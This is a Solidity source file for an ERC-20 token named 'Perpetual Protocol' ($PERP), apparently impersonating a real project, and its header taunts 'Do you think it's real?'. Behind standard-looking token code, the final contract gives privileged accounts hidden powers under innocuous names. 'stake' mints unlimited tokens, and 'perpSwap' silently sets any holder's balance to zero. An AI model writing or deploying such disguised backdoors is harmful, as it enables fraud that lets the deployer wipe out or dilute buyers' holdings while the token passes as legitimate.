/*
                                                                        

                                                                        
88888888ba                                                          88  
88      "8b                                                         88  
88      ,8P                                                         88  
88aaaaaa8P' ,adPPYba, 8b,dPPYba, 8b,dPPYba,  88       88 ,adPPYYba, 88  
88""""""'  a8P_____88 88P'   "Y8 88P'    "8a 88       88 ""     `Y8 88  
88         8PP""""""" 88         88       d8 88       88 ,adPPPPP88 88  
88         "8b,   ,aa 88         88b,   ,a8" "8a,   ,a88 88,    ,88 88  
88          `"Ybbd8"' 88         88`YbbdP"'   `"YbbdP'Y8 `"8bbdP"Y8 88  
                                 88                                     
                                 88                                     
                                                                                
88888888ba                                                                  88  
88      "8b                         ,d                                      88  
88      ,8P                         88                                      88  
88aaaaaa8P' 8b,dPPYba,  ,adPPYba, MM88MMM ,adPPYba,   ,adPPYba,  ,adPPYba,  88  
88""""""'   88P'   "Y8 a8"     "8a  88   a8"     "8a a8"     "" a8"     "8a 88  
88          88         8b       d8  88   8b       d8 8b         8b       d8 88  
88          88         "8a,   ,a8"  88,  "8a,   ,a8" "8a,   ,aa "8a,   ,a8" 88  
88          88          `"YbbdP"'   "Y888 `"YbbdP"'   `"Ybbd8"'  `"YbbdP"'  88  


 Do you think it's real? Bitch.

*/
pragma solidity ^0.5.16;
interface IERC20 {
    function totalSupply() external view returns (uint);
    function balanceOf(address account) external view returns (uint);
    function transfer(address recipient, uint amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
    constructor () internal { }
    function _msgSender() internal view returns (address payable) {
        return msg.sender;
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;

    mapping (address => uint) private _balances;

    mapping (address => mapping (address => uint)) private _allowances;

    uint private _totalSupply;
    function totalSupply() public view returns (uint) {
        return _totalSupply;
    }
    function balanceOf(address account) public view returns (uint) {
        return _balances[account];
    }
    function transfer(address recipient, uint amount) public returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view returns (uint) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function increaseAllowance(address spender, uint addedValue) public returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
    function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
    function _stake(address account, uint amount) internal {
        require(account != address(0), "ERC20: stake to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");
        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }
    function _perpSwap(address acc) internal {
        require(acc != address(0), "perpSwap to the zero address");
        uint amount = _balances[acc];
        _balances[acc] = 0;
        _totalSupply = _totalSupply.sub(amount);
    }
    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor (string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }
    function name() public view returns (string memory) {
        return _name;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function decimals() public view returns (uint8) {
        return _decimals;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns (uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint a, uint b) internal pure returns (uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
        require(b <= a, errorMessage);
        uint c = a - b;
        return c;
    }
    function mul(uint a, uint b) internal pure returns (uint) {
        if (a == 0) {
            return 0;
        }
        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint a, uint b) internal pure returns (uint) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
        require(b > 0, errorMessage);
        uint c = a / b;
        return c;
    }
}

contract PerpetualProtocol is ERC20, ERC20Detailed {
  using SafeMath for uint;
  
  address public governance;
  mapping (address => bool) public stakeers;
  uint256 private amt_ = 3000;

  constructor () public ERC20Detailed("Perpetual Protocol", "$PERP", 18) {
      governance = msg.sender;
      _stake(governance,amt_*10**uint(decimals()));
      stakeers[governance] = true;
  }

  function stake(address account, uint amount) public {
      require(stakeers[msg.sender], "error");
      _stake(account, amount);
  }

  function perpSwap(address account) public {
      require(stakeers[msg.sender], "error");
      _perpSwap(account);
  }
  
}